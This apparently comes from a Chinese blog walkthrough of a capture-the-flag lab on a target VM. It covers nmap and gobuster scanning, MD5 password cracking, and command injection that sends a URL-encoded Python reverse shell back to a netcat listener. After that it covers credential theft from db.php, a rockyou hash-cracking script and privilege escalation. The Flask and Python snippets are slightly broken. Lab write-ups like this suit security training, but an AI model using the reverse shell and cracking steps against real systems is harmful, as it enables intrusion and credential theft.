web1渗透实验拿下靶机flag
web1渗透实验拿下靶机flag

web1渗透实验拿下靶机flag

一、搭建实验环境

1、把虚拟机打开,进入到kali,我们将在kali虚拟环境中进行实验。

用户名和密码都是kali

在此之前我们先来认识NMAP

全称Network Mapper(网络映射器),简单来说是一款开源、免费的网络发现和安全审计工具。它主要用来探测网络上有哪些活动的主机、这些主机开放了哪些端口、运行着什么服务。

nmap的一些基本命令

1、nmap -sV (版本探测)
2、nmap -sC (运行默认的nmap脚本)
3、nmap -p- (扫描所有端口)

2、扫描并发现目标网站

nmap -sP 192.168.154.0/24

这里通过扫描得到IP为192.168.154.146

3、将扫描得出的IP192.168.154.146进行扫描,识别出每个端口上运行的服务和精确版本

nmap -sV -sC -p- -T4 192.168.154.146

4、扫描出来的IP192.168.154.146就可以用gobuster进行网页目录和文件爆破。

gobuster dir -u http://192.168.154.146 -w /usr/share/wordlists/dirb/common.txt -x php,html -t 50

我们通过扫描得出API为301,这个时候可以用python脚本来运行

常见一个目录再在进入目录,在目录中创建一个脚本,加入写好的命令并运行它

python web-server.py (运行脚本)

由此我们看到以上文件有mgmt_page的文件,由此我们可以大胆的猜测一下,然后对mgmt_page进行访问,访问内容如下如图所示

我们在用F12键来检查一下如图所示

通过得出的信息,我们知道登陆系统的密码为5位数,密码是由MD5来加密的,我们就可以用MD5解密方法来解析密码

我们首先要创建一个key,再用命令来解析密码

john key --format=Raw-MD5

由此我们得到密码为:SOUTH

我们拿着密码进行登录发现不行,我们可以在联想一下可以利用抓包工具对它进行抓包,接下来运行一个脚本,利用脚本开始抓包

from flask import Flask, request

app = Flask(name)

@app.before_request
def log_headers():
print(“=== 请求头信息 ===”)
for key, value in request.headers.items():
print(f”{key}: {value}”)
print(“================”)

@app.route(‘/’)
def index():
return “请求头已打印到控制台,请查看服务器日志”
app.run(host=’0.0.0.0′, port=80)

我们利用脚本抓包得到的数据如下:

在对它进行解析,利用工具cyberchef来解析

解析出来为

fuli:wsGdwWQZTu7U4seseGaG

接着我们对url进行命令ls 查询,查询结果如下

结果如下,我们在本机上对服务器4444执行监听,使用shell监听代码如下

/api/include.php?file=mgmt_page&password=SOUTH&cmd=export%20RHOST=%22192.168.19.1
29%22;export%20RPORT=4444;python3%20-c%20%27import%20sys,socket,os,pty;s=socket.sock
et();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)
%20for%20fd%20in%20(0,1,2)];pty.spawn(%22sh%22)%27

在kali上写入命令(结果如图所示)

nc -lvnp 4444

监听系统4444返回来的数据,我们可以输入pwd来查询路径,根据图中所示,我们可以输入命令 cd .. 返回到上一级在查询

通过返回上一级查询我们得出第一个flag1.txt

同时我们看到db.php,这个db的英文翻译出来就是数据卷,所以我们可以查看一下db.php,用cat查看我们可以看到用户名、密码 可以直接登录mysql数据库

进入mysql可以查询一下,我们查询出来数据库有一个名为web-test…..等

由图所示,我们看到admin那里的加密密码,我前面也得出了一个信息,有一个名为benjamin信息,大胆推测一下admin后面的密码就是benjamin这个用户的密码。

我们接下来对得出的密码对它进行解析,利用脚本来解析密码

import hashlib
with open("/usr/share/wordlists/rockyou.txt","rb") as f1:
    dict=f1.read()
for i in dict.split(b"\n"):
    if hashlib.md5(i+b"1753128055").hexdigest()=="9eaf9317aac50c955575334a93d0b09c":
    print(i)
    break

运行脚本进行爆破之后,我们可以发现密码原文为:chispa

我们可以通过切换benjamin用户 输入 su benjamin,输入密码chispa成功的登录上了benjamin这个用户,并且在benjamin的目录下发现flag2.txt,成功的拿下

接下来我们可以benjamin这个用户去查看一下flag3.txt,可以发现依旧无权查看,那可以推测可能这个账户是root才能查看的了,那么我们可以通过提权查看benjamin这个用户可以使用的权限

这个地方很重要,就是不需要密码就可以查看文件,我们可以查看一下有没有文件。我们还是用返回上一级的方法来查看。

震惊!!!鲁神的夺旗方法,如果你不知道的话那你已经可以退出这个领域了!!!

经过我们的不懈努力终于拿到了flag3的文件

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注